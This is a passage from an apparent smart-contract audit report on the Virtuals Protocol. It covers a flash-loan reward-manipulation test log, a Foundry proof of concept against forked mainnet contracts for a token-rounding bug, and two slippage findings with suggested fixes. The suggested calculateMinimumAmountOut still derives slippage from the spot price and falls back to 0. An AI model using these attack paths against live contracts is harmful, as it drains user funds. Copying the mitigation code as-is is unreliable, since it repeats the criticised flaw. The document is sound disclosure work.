Virtual ID: 1
LP token: 0x23457Bea4813642d6f3d4BFDDD461d7f738639cF
veToken: 0x75D4c71311994307616350d38f2E832A57440da5
founder veToken balance: 1662461.882480317200970858
Trader delegated to self
Setting up rewards contract for validation...
LP value for virtualId 1: 2890.343060982902250919
Rewards distributed
Agent reward count: 1
Agent reward details:
- Staker Amount: 9000.0
- Validator Amount: 1000.0
- Total Staked: 1662461.882480317200970858
    ✔ flash loan attack force premature graduation, manipulating rewards (1053ms)

1 passing (1s)

Note: in order to run tests, I forked eth mainnet in hardhat network and used mainnet UNISWAP_ROUTER and UNISWAP_FACTORY addresses. I also tweaked .env and hardhat config accordingly.

Run test: npx hardhat test test/bonding.js.

[M-05] Division in Bonding.sol._openTradingOnUniswap() results in an incorrect lpSupply, higher vaultSupply, and dust AgentTokens getting locked in FPair

Submitted by BowTiedOriole, also found by YouCrossTheLineAlfie

When a Prototype Agent graduates to a Sentient Agent, agent tokens are minted to the FPair contract. Users are then able to call Bonding.unwrapToken() to claim their agent tokens.

Upon graduation, the Bonding contract will divide the token supply as well as the tokenBalance by 10 ** 18.

Bonding.sol#L390-L395

address agentToken = IAgentFactoryV3(agentFactory).executeBondingCurveApplication(
    id,
    _token.data.supply / (10 ** token_.decimals()),
    tokenBalance / (10 ** token_.decimals()),
    pairAddress
);

Within AgentFactoryV3.executeBondingCurveApplication(), these parameters are used to calculate the vault supply.

AgentFactoryV3.sol#L466-480

bytes memory tokenSupplyParams = abi.encode(
    totalSupply,
    lpSupply,
    /* vaultSupply */ totalSupply - lpSupply,
    totalSupply,
    totalSupply,
    0,
    vault
);

Then, within AgentToken.initialize(), the provided numbers will be multiplied by 10 ** 18.

AgentToken.sol#L95-L96

uint256 lpSupply = supplyParams.lpSupply * (10 ** decimals());
uint256 vaultSupply = supplyParams.vaultSupply * (10 ** decimals());

When lpSupply is calculated as tokenBalance / (10 ** token_.decimals()) it will truncate any remainder after dividing by 1 ether. Then it will be multiplied by 10 ** token_.decimals() which results in a value that is smaller than the original lpSupply. This will result in vaultSupply being too big and AgentTokens being stuck in the FPair contract.

Recommended mitigation steps

Remove the division and then multiplication by 10 ** token_.decimals(). Simply pass through the full wei value.

Proof of Concept

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";

interface IERC20 {
    function transfer(address to, uint256 amount) external returns (bool);
    function mint(address to, uint256 amount) external;
    function approve(address spender, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function totalSupply() external view returns (uint256);
}

interface IBonding {
    function launch(
        string memory _name,
        string memory _ticker,
        uint8[] memory cores,
        string memory desc,
        string memory img,
        string[4] memory urls,
        uint256 purchaseAmount
    ) external returns (address, address, uint);

    function router() external view returns (address);

    function buy(uint256 amountIn, address tokenAddress) external payable returns (bool);
}

contract BondingRoundingPOC is Test {
    IERC20 virtualToken = IERC20(0x0b3e328455c4059EEb9e3f84b5543F74E24e7E1b);
    address bridge = 0x4200000000000000000000000000000000000010;
    IBonding bonding = IBonding(0xF66DeA7b3e897cD44A5a231c61B6B4423d613259);

    string BASE_RPC_URL = vm.envString("BASE_RPC_URL");
    address alice = makeAddr("alice");
    address bob = makeAddr("bob");
    address charlie = makeAddr("charlie");
    uint256 virtualAmount = 45000 ether;

    function setUp() public {
        uint256 forkId = vm.createFork(BASE_RPC_URL, 29_519_750);
        vm.selectFork(forkId);

        vm.startPrank(bridge);
        virtualToken.mint(alice, virtualAmount);
        virtualToken.mint(bob, .5 ether);
        vm.stopPrank();
    }

    function test_rounding_error_upon_graduate() public {
        vm.startPrank(alice);
        virtualToken.approve(address(bonding), virtualAmount);
        string[4] memory urls = ["test", "test", "test", "test"];
        uint8[] memory cores = new uint8[](1);
        cores[0] = 1;
        (address token, address pair, ) = bonding.launch("test agent", "TA", cores, "test", "test", urls, 45000 ether);
        vm.stopPrank();

        vm.startPrank(bob);
        virtualToken.approve(bonding.router(), .5 ether);
        bonding.buy(.5 ether, token);

        (bool success, bytes memory data) = address(bonding).call(abi.encodeWithSignature("tokenInfo(address)", token));
        require(success, "Failed to get token info");

        (
            ,
            ,
            ,
            address agentToken
        ) = abi.decode(data, (address, address, address, address));

        console.log("agentToken balance of pair  :", IERC20(agentToken).balanceOf(pair));
        console.log("token balance of alice + bob:", IERC20(token).balanceOf(alice) + IERC20(token).balanceOf(bob));
        assertNotEq(IERC20(agentToken).balanceOf(pair), IERC20(token).balanceOf(alice) + IERC20(token).balanceOf(bob));
    }
}

[M-06] BondingTax has invalid slippage implementation

Submitted by oakcobalt, also found by 0x1982us, adam-idarrha, Damola0x, kodyvim, levi_104, Matin, and slowbugmayor

In BondingTax.sol, swapForAsset will swap taxTokens to assetToken through uniswap router.

The issue is that the slippage calculation (minOutput) is invalid. Currently, mintOutput is a percentage that is based on router.getAmountsOut(amount, path). Since router.getAmountsOut(amount, path) is also dynamic based on the actual uniswapV2pair spot price; this means minOutput will simply be a fraction of the actual swap result. The slippage check will always pass.

    function swapForAsset() public onlyBondingRouter returns (bool, uint256) {
...       
        
|>      uint256[] memory amountsOut = router.getAmountsOut(amount, path);
        require(amountsOut.length > 1, "Failed to fetch token price");

        uint256 expectedOutput = amountsOut[1];
        uint256 minOutput = (expectedOutput * (10000 - _slippage)) / 10000;

 |>     try router.swapExactTokensForTokens(amount, minOutput, path, treasury, block.timestamp + 300) returns (
            uint256[] memory amounts
        ) {
            emit SwapExecuted(amount, amounts[1]);
            return (true, amounts[1]);
        } catch {
            emit SwapFailed(amount);
            return (false, 0);
        }

https://github.com/code-423n4/2025-04-virtuals-protocol/blob/28e93273daec5a9c73c438e216dde04c084be452/contracts/tax/BondingTax.sol#L143

Impact

Invalid slippage check allows any swap-out result, causing the treasury to lose the value of collected tax. Note that, even though the base chain has a low risk of front-running attack, the loss due to slippage happens naturally during normal trading activities.

Recommended mitigation steps

Slippage needs to be based on an expected price. Given swapForAsset is only intended to be invoked by BondingRouter, consider implementing a trusted on-chain oracle price reporting and basing the slippage calculation on the on-chain price.

Proof of Concept

Suppose 10000 virtual = 1 WBTC, due to a previous trading, price drops to 10000 virtual = 0.0833 WBTC. 1% slippage based on expected price: 0.099 WBTC.

In swapForAsset:

1. BondingTax calculates minOutput with 1% slippage

   • minOutput = 0.0833 WBTC * (10000 - 100) / 10000 = 0.0825 WBTC

2. BondingTax executes swap with these parameters:

   • router.swapExactTokensForTokens(

     1000 VIRTUAL,      // amountIn
     0.0825 WBTC,       // minOutput (1% less than minOutput)
     [VIRTUAL, WBTC],   // path
     treasury,          // recipient
     block.timestamp + 300  // deadline
     )

3. The swap executes at the worse price:

   • Treasury receives approximately 0.0833 WBTC < 0.099 WBTC.

swapForAsset accepts unbounded slippage.

[M-07] amountOutMin passed in as 0 in AgentToken::_swapTax leads to loss of funds due to slippage

Submitted by YouCrossTheLineAlfie, also found by 0x60scs, adam-idarrha, anchabadze, bytesguard, classic-k, DanielTan, debo, gmh5225, gregom, harsh123, odessos42, Olugbenga, PolarizedLight, slowbugmayor, Topmark, and unique

https://github.com/code-423n4/2025-04-virtuals-protocol/blob/28e93273daec5a9c73c438e216dde04c084be452/contracts/virtualPersona/AgentToken.sol#L793

Finding description

The AgentToken::_swapTax is called via AgentToken::_autoSwap whenever a AgentToken::_transfer call takes place.

On further inspection, it can be observed that _swapTax internally calls uniswap router’s swapExactTokensForTokensSupportingFeeOnTransferTokens function where amountOutMin is passed as 0.

    function _swapTax(uint256 swapBalance_, uint256 contractBalance_) internal {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = pairToken;

        // Wrap external calls in try / catch to handle errors
        try
            _uniswapRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
                swapBalance_,
                0,                                                                  <<@ -- // amountOutMin is passed as 0
                path,
                projectTaxRecipient,
                block.timestamp + 600
            )
        {

           // . . . Rest of the code . . .

        } catch {
            // Don't allow a failed external call (in this case to uniswap) to stop a transfer.
            // Emit that this has occurred and continue.
            emit ExternalCallError(5);
        }
    }

This can lead to unexpectedly high slippage, leading to loss of funds for projectTaxRecipient.

Impact

Loss of funds for the projectTaxRecipient due to high slippage.

Recommended mitigation steps

It is recommended to calculate amountOutMin instead of passing 0:

function swapTax(uint256 swapBalance_, uint256 contractBalance_) internal {
    address[] memory path = new address[](2);
    path[0] = address(this);
    path[1] = pairToken;
    
+    // Calculate the minimum amount out with slippage tolerance
+    uint256 amountOutMin = calculateMinimumAmountOut(swapBalance_, path);
    
    // Wrap external calls in try / catch to handle errors
    try
        _uniswapRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            swapBalance_,
-            0,
+            amountOutMin,
            path,
            projectTaxRecipient,
            block.timestamp + 600
        )
    {
        // We will not have swapped all tax tokens IF the amount was greater than the max auto swap.
        // We therefore cannot just set the pending swap counters to 0. Instead, in this scenario,
        // we must reduce them in proportion to the swap amount vs the remaining balance + swap
        // amount.
        //
        // For example:
        //  * swap Balance is 250
        //  * contract balance is 385.
        //  * projectTaxPendingSwap is 300
        //
        // The new total for the projectTaxPendingSwap is:
        //   = 300 - ((300 * 250) / 385)
        //   = 300 - 194
        //   = 106
        if (swapBalance_ < contractBalance_) {
            projectTaxPendingSwap -= uint128((projectTaxPendingSwap * swapBalance_) / contractBalance_);
        } else {
            projectTaxPendingSwap = 0;
        }
    } catch {
        // Don't allow a failed external call (in this case to uniswap) to stop a transfer.
        // Emit that this has occurred and continue.
        emit ExternalCallError(5);
    }
}

Below is the calculateMinimumAmountOut implementation:

/**
 * @dev Calculates the minimum amount out for a swap to protect against front-running
 * @param amountIn The amount of tokens to swap
 * @param path The swap path
 * @return minAmountOut The minimum amount of tokens to receive
 */
function calculateMinimumAmountOut(uint256 amountIn, address[] memory path) internal view returns (uint256 minAmountOut) {
    // Use getAmountsOut to calculate the expected output amount
    uint256[] memory amountsOut;
    
    try _uniswapRouter.getAmountsOut(amountIn, path) returns (uint256[] memory amounts) {
        amountsOut = amounts;
    } catch {
        // If getAmountsOut fails, use a fallback method or return 0
        return 0; // In case of failure, fallback to 0 to ensure the transaction doesn't revert
    }
    
    // If successful, calculate minimum amount with slippage tolerance (e.g., 3%)
    if (amountsOut.length > 1) {
        uint256 expectedAmountOut = amountsOut[amountsOut.length - 1];
        // Apply 3% slippage tolerance: amountOutMin = expectedAmountOut * 0.97
        minAmountOut = expectedAmountOut * 97 / 100;
    }
    
    return minAmountOut;
}